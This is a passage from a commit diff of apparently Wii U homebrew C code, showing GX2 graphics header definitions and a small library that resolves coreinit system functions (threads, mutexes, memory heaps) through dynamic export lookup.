#define GX2_TEX_XY_FILTER_POINT 0x00000000
|
||||||
|
#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 TV scan modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_TV_SCAN_MODE_NONE 0x00000000
|
||||||
|
#define GX2_TV_SCAN_MODE_576I 0x00000001
|
||||||
|
#define GX2_TV_SCAN_MODE_480I 0x00000002
|
||||||
|
#define GX2_TV_SCAN_MODE_480P 0x00000003
|
||||||
|
#define GX2_TV_SCAN_MODE_720P 0x00000004
|
||||||
|
#define GX2_TV_SCAN_MODE_1080I 0x00000006
|
||||||
|
#define GX2_TV_SCAN_MODE_1080P 0x00000007
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 TV render modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_TV_RENDER_480_NARROW 0x00000001
|
||||||
|
#define GX2_TV_RENDER_480_WIDE 0x00000002
|
||||||
|
#define GX2_TV_RENDER_720 0x00000003
|
||||||
|
#define GX2_TV_RENDER_1080 0x00000005
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 DRC render modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_DRC_NONE 0x00000000
|
||||||
|
#define GX2_DRC_SINGLE 0x00000001
|
||||||
|
#define GX2_DRC_DOUBLE 0x00000002
|
||||||
|
#define GX2_DRC_SINGLE_30HZ 0x00000004
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 buffering mode
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_BUFFERING_SINGLE 0x00000001
|
||||||
|
#define GX2_BUFFERING_DOUBLE 0x00000002
|
||||||
|
#define GX2_BUFFERING_TRIPLE 0x00000003
|
||||||
|
#define GX2_BUFFERING_QUAD
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 scan targets
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_SCAN_TARGET_TV 0x00000001
|
||||||
|
#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004
|
||||||
|
#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 invalidate types
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001
|
||||||
|
#define GX2_INVALIDATE_TEXTURE 0x00000002
|
||||||
|
#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004
|
||||||
|
#define GX2_INVALIDATE_SHADER 0x00000008
|
||||||
|
#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010
|
||||||
|
#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020
|
||||||
|
#define GX2_INVALIDATE_CPU 0x00000040
|
||||||
|
#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER)
|
||||||
|
#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE)
|
||||||
|
#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK)
|
||||||
|
#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER)
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 swap modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_ENDIANSWAP_DEFAULT 0x00000003
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 tessellation modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000
|
||||||
|
#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001
|
||||||
|
#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 fetch shader types
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000
|
||||||
|
#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001
|
||||||
|
#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002
|
||||||
|
#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _GX2ContextState {
|
||||||
|
u8 data[GX2_CONTEXT_STATE_SIZE];
|
||||||
|
} GX2ContextState;
|
||||||
|
|
||||||
|
typedef struct _GX2Surface {
|
||||||
|
s32 dimension;
|
||||||
|
u32 width;
|
||||||
|
u32 height;
|
||||||
|
u32 depth;
|
||||||
|
u32 num_mips;
|
||||||
|
s32 format;
|
||||||
|
s32 aa;
|
||||||
|
s32 use;
|
||||||
|
u32 image_size;
|
||||||
|
void *image_data;
|
||||||
|
u32 mip_size;
|
||||||
|
void *mip_data;
|
||||||
|
s32 tile;
|
||||||
|
u32 swizzle;
|
||||||
|
u32 align;
|
||||||
|
u32 pitch;
|
||||||
|
u32 mip_offset[13];
|
||||||
|
} GX2Surface;
|
||||||
|
|
||||||
|
typedef struct _GX2ColorBuffer {
|
||||||
|
GX2Surface surface;
|
||||||
|
u32 view_mip;
|
||||||
|
u32 view_first_slice;
|
||||||
|
u32 view_slices_count;
|
||||||
|
void *aux_data;
|
||||||
|
u32 aux_size;
|
||||||
|
u32 regs[5];
|
||||||
|
} GX2ColorBuffer;
|
||||||
|
|
||||||
|
typedef struct _GX2DepthBuffer {
|
||||||
|
GX2Surface surface;
|
||||||
|
u32 view_mip;
|
||||||
|
u32 view_first_slice;
|
||||||
|
u32 view_slices_count;
|
||||||
|
void *hiZ_data;
|
||||||
|
u32 hiZ_size;
|
||||||
|
f32 clear_depth;
|
||||||
|
u32 clear_stencil;
|
||||||
|
u32 regs[7];
|
||||||
|
} GX2DepthBuffer;
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _GX2Texture {
|
||||||
|
GX2Surface surface;
|
||||||
|
u32 view_first_mip;
|
||||||
|
u32 view_mips_count;
|
||||||
|
u32 view_first_slice;
|
||||||
|
u32 view_slices_count;
|
||||||
|
u32 component_selector;
|
||||||
|
u32 regs[5];
|
||||||
|
} GX2Texture;
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _GX2Sampler {
|
||||||
|
u32 regs[3];
|
||||||
|
} GX2Sampler;
|
||||||
|
|
||||||
|
typedef struct _GX2AttribStream {
|
||||||
|
u32 location;
|
||||||
|
u32 buffer;
|
||||||
|
u32 offset;
|
||||||
|
s32 format;
|
||||||
|
s32 index_type;
|
||||||
|
u32 divisor;
|
||||||
|
u32 destination_selector;
|
||||||
|
s32 endian_swap;
|
||||||
|
} GX2AttribStream;
|
||||||
|
|
||||||
|
typedef struct _GX2FetchShader {
|
||||||
|
s32 type;
|
||||||
|
u32 reg;
|
||||||
|
u32 shader_size;
|
||||||
|
void *shader_program;
|
||||||
|
u32 attributes_count;
|
||||||
|
u32 divisor[3];
|
||||||
|
} GX2FetchShader;
|
||||||
|
|
||||||
|
typedef struct _GX2AttribVar
|
||||||
|
{
|
||||||
|
const char *name;
|
||||||
|
s32 var_type;
|
||||||
|
u32 array_count;
|
||||||
|
u32 location;
|
||||||
|
} GX2AttribVar;
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _GX2UniformBlock {
|
||||||
|
const char *name;
|
||||||
|
u32 location;
|
||||||
|
u32 block_size;
|
||||||
|
} GX2UniformBlock;
|
||||||
|
|
||||||
|
typedef struct _GX2UniformInitialValue {
|
||||||
|
f32 value[4];
|
||||||
|
u32 offset;
|
||||||
|
} GX2UniformInitialValue;
|
||||||
|
|
||||||
|
typedef struct _GX2SamplerVar
|
||||||
|
{
|
||||||
|
const char *name;
|
||||||
|
s32 sampler_type;
|
||||||
|
u32 location;
|
||||||
|
} GX2SamplerVar;
|
||||||
|
|
||||||
|
typedef struct _GX2UniformVar
|
||||||
|
{
|
||||||
|
const char *name;
|
||||||
|
s32 var_type;
|
||||||
|
u32 array_count;
|
||||||
|
u32 offset;
|
||||||
|
u32 block_index;
|
||||||
|
} GX2UniformVar;
|
||||||
|
|
||||||
|
typedef struct _GX2VertexShader {
|
||||||
|
u32 regs[52];
|
||||||
|
u32 shader_size;
|
||||||
|
void *shader_data;
|
||||||
|
s32 shader_mode;
|
||||||
|
u32 uniform_blocks_count;
|
||||||
|
GX2UniformBlock *uniform_block;
|
||||||
|
u32 uniform_vars_count;
|
||||||
|
GX2UniformVar *uniform_var;
|
||||||
|
u32 initial_values_count;
|
||||||
|
GX2UniformInitialValue *initial_value;
|
||||||
|
u32 loops_count;
|
||||||
|
void *loops_data;
|
||||||
|
u32 sampler_vars_count;
|
||||||
|
GX2SamplerVar *sampler_var;
|
||||||
|
u32 attribute_vars_count;
|
||||||
|
GX2AttribVar *attribute_var;
|
||||||
|
u32 data[6];
|
||||||
|
u32 shader_program_buffer[16];
|
||||||
|
} GX2VertexShader;
|
||||||
|
|
||||||
|
typedef struct _GX2PixelShader {
|
||||||
|
u32 regs[41];
|
||||||
|
u32 shader_size;
|
||||||
|
void *shader_data;
|
||||||
|
s32 shader_mode;
|
||||||
|
u32 uniform_blocks_count;
|
||||||
|
GX2UniformBlock *uniform_block;
|
||||||
|
u32 uniform_vars_count;
|
||||||
|
GX2UniformVar *uniform_var;
|
||||||
|
u32 initial_values_count;
|
||||||
|
GX2UniformInitialValue *initial_value;
|
||||||
|
u32 loops_count;
|
||||||
|
void *loops_data;
|
||||||
|
u32 sampler_vars_count;
|
||||||
|
GX2SamplerVar *sampler_var;
|
||||||
|
u32 shader_program_buffer[16];
|
||||||
|
} GX2PixelShader;
|
||||||
|
|
||||||
|
static const u32 attribute_dest_comp_selector[20] = {
|
||||||
|
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001,
|
||||||
|
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||||
|
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1,
|
||||||
|
GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW
|
||||||
|
};
|
||||||
|
|
||||||
|
static const u32 texture_comp_selector[54] = {
|
||||||
|
GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001,
|
||||||
|
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||||
|
GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE,
|
||||||
|
GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE,
|
||||||
|
GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01,
|
||||||
|
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||||
|
GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001,
|
||||||
|
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1,
|
||||||
|
GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct _GX2Color {
|
||||||
|
u8 r, g, b, a;
|
||||||
|
} GX2Color;
|
||||||
|
|
||||||
|
typedef struct _GX2ColorF32 {
|
||||||
|
f32 r, g, b, a;
|
||||||
|
} GX2ColorF32;
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
148
src/dynamic_libs/os_functions.c
Normal file
148
src/dynamic_libs/os_functions.c
Normal file
@ -0,0 +1,148 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#include "common/common.h"
|
||||||
|
#include "os_functions.h"
|
||||||
|
|
||||||
|
unsigned int coreinit_handle = 0;
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Lib handle functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle);
|
||||||
|
EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Thread functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr);
|
||||||
|
EXPORT_DECL(int, OSResumeThread, void *thread);
|
||||||
|
EXPORT_DECL(int, OSSuspendThread, void *thread);
|
||||||
|
EXPORT_DECL(int, OSIsThreadTerminated, void *thread);
|
||||||
|
EXPORT_DECL(int, OSIsThreadSuspended, void *thread);
|
||||||
|
EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority);
|
||||||
|
EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val);
|
||||||
|
EXPORT_DECL(void, OSDetachThread, void * thread);
|
||||||
|
EXPORT_DECL(void, OSSleepTicks, u64 ticks);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Mutex functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
EXPORT_DECL(void, OSInitMutex, void* mutex);
|
||||||
|
EXPORT_DECL(void, OSLockMutex, void* mutex);
|
||||||
|
EXPORT_DECL(void, OSUnlockMutex, void* mutex);
|
||||||
|
EXPORT_DECL(int, OSTryLockMutex, void* mutex);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! System functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
EXPORT_DECL(u64, OSGetTitleID, void);
|
||||||
|
EXPORT_DECL(void, __Exit, void);
|
||||||
|
EXPORT_DECL(void, OSFatal, const char* msg);
|
||||||
|
EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback newCallback);
|
||||||
|
EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length);
|
||||||
|
EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length);
|
||||||
|
EXPORT_DECL(void*, OSEffectiveToPhysical, const void*);
|
||||||
|
EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Memory functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx);
|
||||||
|
EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap);
|
||||||
|
EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap);
|
||||||
|
|
||||||
|
EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena);
|
||||||
|
EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align);
|
||||||
|
EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align);
|
||||||
|
EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode);
|
||||||
|
EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align);
|
||||||
|
EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags);
|
||||||
|
EXPORT_DECL(void *, MEMDestroyExpHeap, int heap);
|
||||||
|
EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Loader functions (not real rpl)
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
EXPORT_DECL(int, LiWaitIopComplete, int unknown_syscall_arg_r3, int * remaining_bytes);
|
||||||
|
EXPORT_DECL(int, LiWaitIopCompleteWithInterrupts, int unknown_syscall_arg_r3, int * remaining_bytes);
|
||||||
|
|
||||||
|
void InitOSFunctionPointers(void)
|
||||||
|
{
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Lib handle functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire);
|
||||||
|
EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport);
|
||||||
|
|
||||||
|
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! System functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSFatal);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSGetTitleID);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, DCFlushRange);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, __os_snprintf);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit);
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Thread functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSCreateThread);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSResumeThread);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSSuspendThread);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSJoinThread);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSDetachThread);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSSleepTicks);
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Mutex functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSInitMutex);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSLockMutex);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Memory functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap);
|
||||||
|
}
|
||||||
|
|
119
src/dynamic_libs/os_functions.h
Normal file
119
src/dynamic_libs/os_functions.h
Normal file
@ -0,0 +1,119 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __OS_FUNCTIONS_H_
|
||||||
|
#define __OS_FUNCTIONS_H_
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
#include "common/os_defs.h"
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define BUS_SPEED 248625000
|
||||||
|
#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4))
|
||||||
|
#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000)
|
||||||
|
#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000)
|
||||||
|
|
||||||
|
#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs))
|
||||||
|
#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs))
|
||||||
|
|
||||||
|
#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31)))
|
||||||
|
#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31)))
|
||||||
|
|
||||||
|
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0;
|
||||||
|
#define EXPORT_VAR(type, var) type var __attribute__((section(".data")));
|
||||||
|
|
||||||
|
|
||||||
|
#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val
|
||||||
|
|
||||||
|
#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \
|
||||||
|
OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \
|
||||||
|
if(!funcPointer) \
|
||||||
|
OSFatal("Function " # func " is NULL"); \
|
||||||
|
EXPORT_FUNC_WRITE(func, funcPointer);
|
||||||
|
|
||||||
|
#define OS_FIND_EXPORT_EX(handle, func, func_p) \
|
||||||
|
funcPointer = 0; \
|
||||||
|
OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \
|
||||||
|
if(!funcPointer) \
|
||||||
|
OSFatal("Function " # func " is NULL"); \
|
||||||
|
EXPORT_FUNC_WRITE(func_p, funcPointer);
|
||||||
|
|
||||||
|
#define OS_MUTEX_SIZE 44
|
||||||
|
|
||||||
|
/* Handle for coreinit */
|
||||||
|
extern unsigned int coreinit_handle;
|
||||||
|
void InitOSFunctionPointers(void);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Lib handle functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle);
|
||||||
|
extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Thread functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr);
|
||||||
|
extern int (* OSResumeThread)(void *thread);
|
||||||
|
extern int (* OSSuspendThread)(void *thread);
|
||||||
|
extern int (* OSIsThreadTerminated)(void *thread);
|
||||||
|
extern int (* OSIsThreadSuspended)(void *thread);
|
||||||
|
extern int (* OSJoinThread)(void * thread, int * ret_val);
|
||||||
|
extern int (* OSSetThreadPriority)(void * thread, int priority);
|
||||||
|
extern void (* OSDetachThread)(void * thread);
|
||||||
|
extern void (* OSSleepTicks)(u64 ticks);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Mutex functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
extern void (* OSInitMutex)(void* mutex);
|
||||||
|
extern void (* OSLockMutex)(void* mutex);
|
||||||
|
extern void (* OSUnlockMutex)(void* mutex);
|
||||||
|
extern int (* OSTryLockMutex)(void* mutex);
|
||||||
|
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! System functions
|
||||||
|
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
extern u64 (* OSGetTitleID)(void);
|
||||||
|
extern void (* __Exit)(void);
|
||||||
|
extern void (* OSFatal)(const char* msg);
|
||||||
|
extern void (* DCFlushRange)(const void *addr, u32 length);
|
||||||
|
extern void (* ICInvalidateRange)(const void *addr, u32 length);
|
||||||
|
extern void* (* OSEffectiveToPhysical)(const void*);
|
||||||
|
extern int (* __os_snprintf)(char* s, int n, const char * format, ...);
|
||||||
|
|
||||||
|
typedef unsigned char (*exception_callback)(void * interruptedContext);
|
||||||
|
extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback);
|
||||||
|
|
||||||
|
extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes);
|
||||||
|
